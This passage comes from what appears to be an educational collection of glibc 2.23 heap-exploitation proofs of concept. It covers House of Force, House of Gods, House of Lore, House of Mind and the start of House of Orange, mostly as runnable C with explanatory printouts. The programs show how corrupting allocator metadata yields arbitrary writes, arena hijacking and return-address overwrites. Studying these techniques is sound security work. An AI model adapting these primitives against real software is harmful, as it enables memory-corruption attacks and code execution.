unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);
void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");
fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);
assert(ctr_chunk == bss_var);
// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");
//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);
//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}
================================================
FILE: glibc_2.23/house_of_gods.c
================================================
/* House of Gods PoC */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <inttypes.h>
/*
* Welcome to the House of Gods...
*
* House of Gods is an arena hijacking technique for glibc < 2.27. It supplies
* the attacker with an arbitrary write against the thread_arena symbol of
* the main thread. This can be used to replace the main_arena with a
* carefully crafted fake arena. The exploit was tested against
*
* - glibc-2.23
* - glibc-2.24
* - glibc-2.25
* - glibc-2.26
*
* Following requirements are mandatory
*
* - 8 allocs of arbitrary size to hijack the arena (+2 for ACE)
* - control over first 5 quadwords of a chunk's userdata
* - a single write-after-free bug on an unsorted chunk
* - heap address leak + libc address leak
*
* This PoC demonstrates how to leverage the House of Gods in order to hijack
* the thread_arena. But it wont explain how to escalate further to
* arbitrary code execution, since this step is trivial once the whole arena
* is under control.
*
* Also note, that the how2heap PoC might use more allocations than
* previously stated. This is intentional and has educational purposes.
*
* If you want to read the full technical description of this technique, going
* from zero to arbitrary code execution within only 10 to 11 allocations, here
* is the original document I've written
*
* https://github.com/Milo-D/house-of-gods/blob/master/rev2/HOUSE_OF_GODS.TXT
*
* I recommend reading this document while experimenting with
* the how2heap PoC.
*
* Besides that, this technique abuses a minor bug in glibc, which I have
* already submitted to bugzilla at
*
* https://sourceware.org/bugzilla/show_bug.cgi?id=29709
*
* AUTHOR: David Milosevic (milo)
*
* */
/* <--- Exploit PoC ---> */
int main(void) {
printf("=================\n");
printf("= House of Gods =\n");
printf("=================\n\n");
printf("=== Abstract ===\n\n");
printf("The core of this technique is to allocate a fakechunk overlapping\n");
printf("the binmap field within the main_arena. This fakechunk is located at\n");
printf("offset 0x850. Its sizefield can be crafted by carefully binning chunks\n");
printf("into smallbins or largebins. The binmap-chunk is then being linked into\n");
printf("the unsorted bin via a write-after-free bug in order to allocate it back\n");
printf("as an exact fit. One can now tamper with the main_arena.next pointer at\n");
printf("offset 0x868 and inject the address of a fake arena. A final unsorted bin\n");
printf("attack corrupts the narenas variable with a very large value. From there, only\n");
printf("two more allocation requests for at least 0xffffffffffffffc0 bytes of memory\n");
printf("are needed to trigger two consecutive calls to the reused_arena() function,\n");
printf("which in turn traverses the corrupted arena-list and sets thread_arena to the\n");
printf("address stored in main_arena.next - the address of the fake arena.\n\n");
printf("=== PoC ===\n\n");
printf("Okay, so let us start by allocating some chunks...\n\n");
/*
* allocate a smallchunk, for example a 0x90-chunk.
* */
void *SMALLCHUNK = malloc(0x88);
/*
* allocate the first fastchunk. We will use
* a 0x20-chunk for this purpose.
* */
void *FAST20 = malloc(0x18);
/*
* allocate a second fastchunk. This time
* a 0x40-chunk.
* */
void *FAST40 = malloc(0x38);
printf("%p is our 0x90-sized smallchunk. We will bin this chunk to forge a\n", SMALLCHUNK);
printf("fake sizefield for our binmap-chunk.\n\n");
printf("%p is our first fastchunk. Its size is 0x20.\n\n", FAST20);
printf("%p is our second fastchunk with a size of 0x40. The usecase of\n", FAST40);
printf("both fastchunks will be explained later in this PoC.\n\n");
printf("We can move our smallchunk to the unsorted bin by simply free'ing it...\n\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
/*
* this is a great opportunity to simulate a
* libc leak. We just read the address of the
* unsorted bin and save it for later.
* */
const uint64_t leak = *((uint64_t*) SMALLCHUNK);
printf("And now we need to make a request for a chunk which can not be serviced by\n");
printf("our recently free'd smallchunk. Thus, we will make a request for a\n");
printf("0xa0-sized chunk - let us call this chunk INTM (intermediate).\n\n");
/*
* following allocation will trigger a binning
* process within the unsorted bin and move
* SMALLCHUNK to the 0x90-smallbin.
* */
void *INTM = malloc(0x98);
printf("Our smallchunk should be now in the 0x90-smallbin. This process also triggered\n");
printf("the mark_bin(m, i) macro within the malloc source code. If you inspect the\n");
printf("main_arena's binmap located at offset 0x855, you will notice that the initial\n");
printf("value of the binmap changed from 0x0 to 0x200 - which can be used as a valid\n");
printf("sizefield to bypass the unsorted bin checks.\n\n");
printf("We would also need a valid bk pointer in order to bypass the partial unlinking\n");
printf("procedure within the unsorted bin. But luckily, the main_arena.next pointer at\n");
printf("offset 0x868 points initially to the start of the main_arena itself. This fact\n");
printf("makes it possible to pass the partial unlinking without segfaulting.\n\n");
printf("So now that we have crafted our binmap-chunk, it is time to allocate it\n");
printf("from the unsorted bin. For that, we will abuse a write-after-free bug\n");
printf("on an unsorted chunk. Let us start...\n\n");
printf("First, allocate another smallchunk...\n");
/*
* recycle our previously binned smallchunk.
* Note that, it is not neccessary to recycle this
* chunk. I am doing it only to keep the heap layout
* small and compact.
* */
SMALLCHUNK = malloc(0x88);
printf("...and now move our new chunk to the unsorted bin...\n");
/*
* put SMALLCHUNK into the unsorted bin.
* */
free(SMALLCHUNK);
printf("...in order to tamper with the free'd chunk's bk pointer.\n\n");
/*
* bug: a single write-after-free bug on an
* unsorted chunk is enough to initiate the
* House of Gods technique.
* */
*((uint64_t*) (SMALLCHUNK + 0x8)) = leak + 0x7f8;
printf("Great. We have redirected the unsorted bin to our binmap-chunk.\n");
printf("But we also have corrupted the bin. Let's fix this, by redirecting\n");
printf("a second time.\n\n");
printf("The next chunk (head->bk->bk->bk) in the unsorted bin is located at the start\n");
printf("of the main-arena. We will abuse this fact and free a 0x20-chunk and a 0x40-chunk\n");
printf("in order to forge a valid sizefield and bk pointer. We will also let the 0x40-chunk\n");
printf("point to another allocated chunk (INTM) by writing to its bk pointer before\n");
printf("actually free'ing it.\n\n");
/*
* before free'ing those chunks, let us write
* the address of another chunk to the currently
* unused bk pointer of FAST40. We can reuse
* the previously requested INTM chunk for that.
*
* Free'ing FAST40 wont reset the bk pointer, thus
* we can let it point to an allocated chunk while
* having it stored in one of the fastbins.
*
* The reason behind this, is the simple fact that
* we will need to perform an unsorted bin attack later.
* And we can not request a 0x40-chunk to trigger the
* partial unlinking, since a 0x40 request will be serviced
* from the fastbins instead of the unsorted bin.
* */
*((uint64_t*) (FAST40 + 0x8)) = (uint64_t) (INTM - 0x10);
/*
* and now free the 0x20-chunk in order to forge a sizefield.
* */
free(FAST20);
/*
* and the 0x40-chunk in order to forge a bk pointer.
* */
free(FAST40);
printf("Okay. The unsorted bin should now look like this\n\n");
printf("head -> SMALLCHUNK -> binmap -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk bk bk\n\n");
printf("The binmap attack is nearly done. The only thing left to do, is\n");
printf("to make a request for a size that matches the binmap-chunk's sizefield.\n\n");
/*
* all the hard work finally pays off...we can
* now allocate the binmap-chunk from the unsorted bin.
* */
void *BINMAP = malloc(0x1f8);
printf("After allocating the binmap-chunk, the unsorted bin should look similar to this\n\n");
printf("head -> main-arena -> FAST40 -> INTM\n");
printf(" bk bk bk\n\n");
printf("And that is a binmap attack. We've successfully gained control over a small\n");
printf("number of fields within the main-arena. Two of them are crucial for\n");
printf("the House of Gods technique\n\n");
printf(" -> main_arena.next\n");
printf(" -> main_arena.system_mem\n\n");
printf("By tampering with the main_arena.next field, we can manipulate the arena's\n");
printf("linked list and insert the address of a fake arena. Once this is done,\n");
printf("we can trigger two calls to malloc's reused_arena() function.\n\n");
printf("The purpose of the reused_arena() function is to return a non-corrupted,\n");
printf("non-locked arena from the arena linked list in case that the current\n");
printf("arena could not handle previous allocation request.\n\n");
printf("The first call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the current main-arena.\n\n");
printf("The second call to reused_arena() will traverse the linked list and return\n");
printf("a pointer to the previously injected fake arena (main_arena.next).\n\n");
printf("We can reach the reused_arena() if we meet following conditions\n\n");
printf(" - exceeding the total amount of arenas a process can have.\n");
printf(" malloc keeps track by using the narenas variable as\n");
printf(" an arena counter. If this counter exceeds the limit (narenas_limit),\n");
printf(" it will start to reuse existing arenas from the arena list instead\n");
printf(" of creating new ones. Luckily, we can set narenas to a very large\n");
printf(" value by performing an unsorted bin attack against it.\n\n");
printf(" - force the malloc algorithm to ditch the current arena.\n");
printf(" When malloc notices a failure it will start a second allocation\n");
printf(" attempt with a different arena. We can mimic an allocation failure by\n");
printf(" simply requesting too much memory i.e. 0xffffffffffffffc0 and greater.\n\n");
printf("Let us start with the unsorted bin attack. We load the address of narenas\n");
printf("minus 0x10 into the bk pointer of the currently allocated INTM chunk...\n\n");
/*
* set INTM's bk to narenas-0x10. This will
* be our target for the unsorted bin attack.
* */
*((uint64_t*) (INTM + 0x8)) = leak - 0xa40;
printf("...and then manipulate the main_arena.system_mem field in order to pass the\n");
printf("size sanity checks for the chunk overlapping the main-arena.\n\n");
/*
* this way we can abuse a heap pointer
* as a valid sizefield.
* */
*((uint64_t*) (BINMAP + 0x20)) = 0xffffffffffffffff;
printf("The unsorted bin should now look like this\n\n");
printf("head -> main-arena -> FAST40 -> INTM -> narenas-0x10\n");
printf(" bk bk bk bk\n\n");
printf("We can now trigger the unsorted bin attack by requesting the\n");
printf("INTM chunk as an exact fit.\n\n");
/*
* request the INTM chunk from the unsorted bin
* in order to trigger a partial unlinking between
* head and narenas-0x10.
* */
INTM = malloc(0x98);
printf("Perfect. narenas is now set to the address of the unsorted bin's head\n");
printf("which should be large enough to exceed the existing arena limit.\n\n");
printf("Let's proceed with the manipulation of the main_arena.next pointer\n");
printf("within our previously allocated binmap-chunk. The address we write\n");
printf("to this field will become the future value of thread_arena.\n\n");
/*
* set main_arena.next to an arbitrary address. The
* next two calls to malloc will overwrite thread_arena
* with the same address. I'll reuse INTM as fake arena.
*
* Note, that INTM is not suitable as fake arena but
* nevertheless, it is an easy way to demonstrate that
* we are able to set thread_arena to an arbitrary address.
* */
*((uint64_t*) (BINMAP + 0x8)) = (uint64_t) (INTM - 0x10);
printf("Done. Now all what's left to do is to trigger two calls to the reused_arena()\n");
printf("function by making two requests for an invalid chunksize.\n\n");
/*
* the first call will force the reused_arena()
* function to set thread_arena to the address of
* the current main-arena.
* */
malloc(0xffffffffffffffbf + 1);
/*
* the second call will force the reused_arena()
* function to set thread_arena to the address stored
* in main_arena.next - our fake arena.
* */
malloc(0xffffffffffffffbf + 1);
printf("We did it. We hijacked the thread_arena symbol and from now on memory\n");
printf("requests will be serviced by our fake arena. Let's check this out\n");
printf("by allocating a fakechunk on the stack from one of the fastbins\n");
printf("of our new fake arena.\n\n");
/*
* construct a 0x70-fakechunk on the stack...
* */
uint64_t fakechunk[4] = {
0x0000000000000000, 0x0000000000000073,
0x4141414141414141, 0x0000000000000000
};
/*
* ...and place it in the 0x70-fastbin of our fake arena
* */
*((uint64_t*) (INTM + 0x20)) = (uint64_t) (fakechunk);
printf("Fakechunk in position at stack address %p\n", fakechunk);
printf("Target data within the fakechunk at address %p\n", &fakechunk[2]);
printf("Its current value is %#lx\n\n", fakechunk[2]);
printf("And after requesting a 0x70-chunk...\n");
/*
* use the fake arena to perform arbitrary allocations
* */
void *FAKECHUNK = malloc(0x68);
printf("...malloc returns us the fakechunk at %p\n\n", FAKECHUNK);
printf("Overwriting the newly allocated chunk changes the target\n");
printf("data as well: ");
/*
* overwriting the target data
* */
*((uint64_t*) (FAKECHUNK)) = 0x4242424242424242;
printf("%#lx\n", fakechunk[2]);
/*
* confirm success
* */
assert(fakechunk[2] == 0x4242424242424242);
return EXIT_SUCCESS;
}
================================================
FILE: glibc_2.23/house_of_lore.c
================================================
/*
Advanced exploitation of the House of Lore - Malloc Maleficarum.
This PoC take care also of the glibc hardening of smallbin corruption.
[ ... ]
else
{
bck = victim->bk;
if (__glibc_unlikely (bck->fd != victim)){
errstr = "malloc(): smallbin double linked list corrupted";
goto errout;
}
set_inuse_bit_at_offset (victim, nb);
bin->bk = bck;
bck->fd = bin;
[ ... ]
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main(int argc, char * argv[]){
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
fprintf(stderr, "\nWelcome to the House of Lore\n");
fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
fprintf(stderr, "This is tested against Ubuntu 16.04.6 - 64bit - glibc-2.23\n\n");
fprintf(stderr, "Allocating the victim chunk\n");
intptr_t *victim = malloc(0x100);
fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
fprintf(stderr, "stack_buffer_1 at %p\n", (void*)stack_buffer_1);
fprintf(stderr, "stack_buffer_2 at %p\n", (void*)stack_buffer_2);
fprintf(stderr, "Create a fake chunk on the stack\n");
fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
"in second to the last malloc, which putting stack address on smallbin list\n");
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
"chunk on stack");
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
"the small one during the free()\n");
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);
void *p2 = malloc(1200);
fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);
fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
void *p3 = malloc(0x100);
fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
char *p4 = malloc(0x100);
fprintf(stderr, "p4 = malloc(0x100)\n");
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
long offset = (long)__builtin_frame_address(0) - (long)p4;
memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
================================================
FILE: glibc_2.23/house_of_mind_fastbin.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>
/*
House of Mind - Fastbin Variant
==========================
This attack is similar to the original 'House of Mind' in that it uses
a fake non-main arena in order to write to a new location. This
uses the fastbin for a WRITE-WHERE primitive in the 'fastbin'
variant of the original attack though. The original write for this
can be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984.
By being able to allocate an arbitrary amount of chunks, a single byte
overwrite on a chunk size and a memory leak, we can control a super
powerful primitive.
This could be used in order to write a freed pointer to an arbitrary
location (which seems more useful). Or, this could be used as a
write-large-value-WHERE primitive (similar to unsortedbin attack).
Both are interesting in their own right though but the first
option is the most powerful primitive, given the right setting.
Malloc chunks have a specified size and this size information
special metadata properties (prev_inuse, mmap chunk and non-main arena).
The usage of non-main arenas is the focus of this exploit. For more information
on this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/.
First, we need to understand HOW the non-main arena is known from a chunk.
This the 'heap_info' struct:
struct _heap_info
{
mstate ar_ptr; // Arena for this heap. <--- Malloc State pointer
struct _heap_info *prev; // Previous heap.
size_t size; // Current size in bytes.
size_t mprotect_size; // Size in bytes that has been mprotected
char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment
} heap_info;
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48
The important thing to note is that the 'malloc_state' within
an arena is grabbed from the ar_ptr, which is the FIRST entry
of this. Malloc_state == mstate == arena
The main arena has a special pointer. However, non-main arenas (mstate)
are at the beginning of a heap section. They are grabbed with the
following code below, where the user controls the 'ptr' in 'arena_for_chunk':
#define heap_for_ptr(ptr) \
((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))
#define arena_for_chunk(ptr) \
(chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127
This macro takes the 'ptr' and subtracts a large value because the
'heap_info' should be at the beginning of this heap section. Then,
using this, it can find the 'arena' to use.
The idea behind the attack is to use a fake arena to write pointers
to locations where they should not go but abusing the 'arena_for_chunk'
functionality when freeing a fastbin chunk.
This POC does the following things:
- Finds a valid arena location for a non-main arena.
- Allocates enough heap chunks to get to the non-main arena location where
we can control the values of the arena data.
- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.
- Using this fake arena (ar_ptr), we can use the fastbin to write
to an unexpected location of the 'ar_ptr' with a heap pointer.
Requirements:
- A heap leak in order to know where the fake 'heap_info' is located at.
- Could be possible to avoid with special spraying techniques
- An unlimited amount of allocations
- A single byte overflow on the size of a chunk
- NEEDS to be possible to put into the fastbin.
- So, either NO tcache or the tcache needs to be filled.
- The location of the malloc state(ar_ptr) needs to have a value larger
than the fastbin size being freed at malloc_state.system_mem otherwise
the chunk will be assumed to be invalid.
- This can be manually inserted or CAREFULLY done by lining up
values in a proper way.
- The NEXT chunk, from the one that is being freed, must be a valid size
(again, greater than 0x20 and less than malloc_state.system_mem)
Random perks:
- Can be done MULTIPLE times at the location, with different sized fastbin
chunks.
- Does not brick malloc, unlike the unsorted bin attack.
- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak.
************************************
Written up by Maxwell Dulin (Strikeout)
************************************
*/
int main(){
printf("House of Mind - Fastbin Variant\n");
puts("==================================");
printf("The goal of this technique is to create a fake arena\n");
printf("at an offset of HEAP_MAX_SIZE\n");
printf("Then, we write to the fastbins when the chunk is freed\n");
printf("This creates a somewhat constrained WRITE-WHERE primitive\n");
// Values for the allocation information.
int HEAP_MAX_SIZE = 0x4000000;
int MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635
printf("Find initial location of the heap\n");
// The target location of our attack and the fake arena to use
uint8_t* fake_arena = malloc(0x1000);
uint8_t* target_loc = fake_arena + 0x28;
uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;
/*
Prepare a valid 'malloc_state' (arena) 'system_mem'
to store a fastbin. This is important because the size
of a chunk is validated for being too small or too large
via the 'system_mem' of the 'malloc_state'. This just needs
to be a value larger than our fastbin chunk.
*/
printf("Set 'system_mem' (offset 0x880) for fake arena\n");
fake_arena[0x880] = 0xFF;
fake_arena[0x881] = 0xFF;
fake_arena[0x882] = 0xFF;
printf("Target Memory Address for overwrite: %p\n", target_loc);
printf("Must set data at HEAP_MAX_SIZE (0x%x) offset\n", HEAP_MAX_SIZE);
// Calculate the location of our fake arena
uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
uint64_t* fake_heap_info = (uint64_t*) new_arena_value;
uint64_t* user_mem = malloc(MAX_SIZE);
printf("Fake Heap Info struct location: %p\n", fake_heap_info);
printf("Allocate until we reach a MAX_HEAP_SIZE offset\n");
/*
The fake arena must be at a particular offset on the heap.
So, we allocate a bunch of chunks until our next chunk
will be in the arena. This value was calculated above.
*/
while((long long)user_mem < new_arena_value){
user_mem = malloc(MAX_SIZE);
}
// Use this later to trigger craziness
printf("Create fastbin sized chunk to be victim of attack\n");
uint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60
uint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem
printf("Fastbin Chunk to overwrite: %p\n", fastbin_chunk);
/*
Create a FAKE malloc_state pointer for the heap_state
This is the 'ar_ptr' of the 'heap_info' struct shown above.
This is the first entry in the 'heap_info' struct at offset 0x0
at the heap.
We set this to the location where we want to write a value to.
The location that gets written to depends on the fastbin chunk
size being freed. This will be between an offset of 0x8 and 0x40
bytes. For instance, a chunk with a size of 0x20 would be in the
0th index of fastbinsY struct. When this is written to, we will
write to an offset of 8 from the original value written.
- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686
*/
printf("Setting 'ar_ptr' (our fake arena) in heap_info struct to %p\n", fake_arena);
fake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)
printf("Target Write at %p prior to exploitation: 0x%x\n", target_loc, *(target_loc));
/*
Set the non-main arena bit on the size.
Additionally, we keep the size the same as the original
allocation because there is a sanity check on the fastbin (when freeing)
that the next chunk has a valid size.
When grabbing the non-main arena, it will use our choosen arena!
From there, it will write to the fastbin because of the size of the
chunk.
///// Vulnerability! Overwriting the chunk size
*/
printf("Set non-main arena bit on the fastbin chunk\n");
puts("NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\n");
chunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit
//// End vulnerability
/*
The offset being written to with the fastbin chunk address
depends on the fastbin BEING used and the malloc_state itself.
In 2.23, the offset from the beginning of the malloc_state
to the fastbinsY array is only 0x8. Then, fastbinsY[0x4] is an
additional byte offset of 0x20. In total, the writing offset
from the arena location is 0x28 bytes.
from the arena location to where the write actually occurs.
This is a similar concept to bk - 0x10 from the unsorted
bin attack.
*/
printf("When we free the fastbin chunk with the non-main arena bit\n");
printf("set, it will cause our fake 'heap_info' struct to be used.\n");
printf("This will dereference our fake arena location and write\n");
printf("the address of the heap to an offset of the arena pointer.\n");
printf("Trigger the magic by freeing the chunk!\n");
free(fastbin_chunk); // Trigger the madness
// For this particular fastbin chunk size, the offset is 0x28.
printf("Target Write at %p: 0x%llx\n", target_loc, *((unsigned long long*) (target_loc)));
assert(*((unsigned long *) (target_loc)) != 0);
}
================================================
FILE: glibc_2.23/house_of_orange.c
================================================
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/syscall.h>
/*
The House of Orange uses an overflow in the heap to corrupt the _IO_list_all pointer
It requires a leak of the heap and the libc
Credit: http://4ngelboy.blogspot.com/2016/10/hitcon-ctf-qual-2016-house-of-orange.html
*/
/*
This function is just present to emulate the scenario where
the address of the function system is known.
*/
int winner ( char *ptr);
int main()
{
/*
The House of Orange starts with the assumption that a buffer overflow exists on the heap
using which the Top (also called the Wilderness) chunk can be corrupted.
At the beginning of execution, the entire heap is part of the Top chunk.
The first allocations are usually pieces of the Top chunk that are broken off to service the request.
Thus, with every allocation, the Top chunks keeps getting smaller.
And in a situation where the size of the Top chunk is smaller than the requested value,
there are two possibilities:
1) Extend the Top chunk
2) Mmap a new page
If the size requested is smaller than 0x21000, then the former is followed.
*/
char *p1, *p2;
size_t io_list_all, *top;
fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, "
"which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n");
fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit,"
"https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
/*
Firstly, lets allocate a chunk on the heap.
*/
p1 = malloc(0x400-16);
/*
The heap is usually allocated with a top chunk of size 0x21000
Since we've allocate a chunk of size 0x400 already,
what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01.
The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap,
it must also be page aligned at the end.
Also, if a chunk that is adjacent to the Top chunk is to be freed,
then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set.
So that means that there are two conditions that must always be true.
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE.
What's left is 0x20c01
Now, let's satisfy the conditions
1) Top chunk + size has to be page aligned
2) Top chunk's prev_inuse bit has to be set.
*/
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
/*
Now we request a chunk of size larger than the size of the Top chunk.
Malloc tries to service this request by extending the Top chunk
This forces sysmalloc to be invoked.
In the usual scenario, the heap looks like the following
|------------|------------|------...----|
| chunk | chunk | Top ... |
|------------|------------|------...----|
heap start heap end
And the new area that gets allocated is contiguous to the old heap end.
So the new size of the Top chunk is the sum of the old size and the newly allocated size.
In order to keep track of this change in size, malloc uses a fencepost chunk,
which is basically a temporary chunk.
After the size of the Top chunk has been updated, this chunk gets freed.
In our scenario however, the heap looks like
|------------|------------|------..--|--...--|---------|
| chunk | chunk | Top .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start heap end
In this situation, the new Top will be starting from an address that is adjacent to the heap end.
So the area between the second chunk and the heap end is unused.
And the old Top chunk gets freed.
Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes,
it gets added to list of unsorted bins.
Now we request a chunk of size larger than the size of the top chunk.
This forces sysmalloc to be invoked.
And ultimately invokes _int_free
Finally the heap looks like this:
|------------|------------|------..--|--...--|---------|
| chunk | chunk | free .. | ... | new Top |
|------------|------------|------..--|--...--|---------|
heap start new heap end
*/
p2 = malloc(0x1000);
/*
Note that the above chunk will be allocated in a different page
that gets mmapped. It will be placed after the old heap's end
Now we are left with the old Top chunk that is freed and has been added into the list of unsorted bins
Here starts phase two of the attack. We assume that we have an overflow into the old
top chunk so we could overwrite the chunk's size.
For the second phase we utilize this overflow again to overwrite the fd and bk pointer
of this chunk in the unsorted bin list.
There are two common ways to exploit the current state:
- Get an allocation in an *arbitrary* location by setting the pointers accordingly (requires at least two allocations)
- Use the unlinking of the chunk for an *where*-controlled write of the
libc's main_arena unsorted-bin-list. (requires at least one allocation)
The former attack is pretty straight forward to exploit, so we will only elaborate
on a variant of the latter, developed by Angelboy in the blog post linked above.
The attack is pretty stunning, as it exploits the abort call itself, which
is triggered when the libc detects any bogus state of the heap.
Whenever abort is triggered, it will flush all the file pointers by calling
_IO_flush_all_lockp. Eventually, walking through the linked list in
_IO_list_all and calling _IO_OVERFLOW on them.
The idea is to overwrite the _IO_list_all pointer with a fake file pointer, whose
_IO_OVERLOW points to system and whose first 8 bytes are set to '/bin/sh', so
that calling _IO_OVERFLOW(fp, EOF) translates to system('/bin/sh').
More about file-pointer exploitation can be found here:
https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/
The address of the _IO_list_all can be calculated from the fd and bk of the free chunk, as they
currently point to the libc's main_arena.
*/
io_list_all = top[2] + 0x9a8;
/*
We plan to overwrite the fd and bk pointers of the old top,
which has now been added to the unsorted bins.
When malloc tries to satisfy a request by splitting this free chunk
the value at chunk->bk->fd gets overwritten with the address of the unsorted-bin-list
in libc's main_arena.
Note that this overwrite occurs before the sanity check and therefore, will occur in any
case.
Here, we require that chunk->bk->fd to be the value of _IO_list_all.
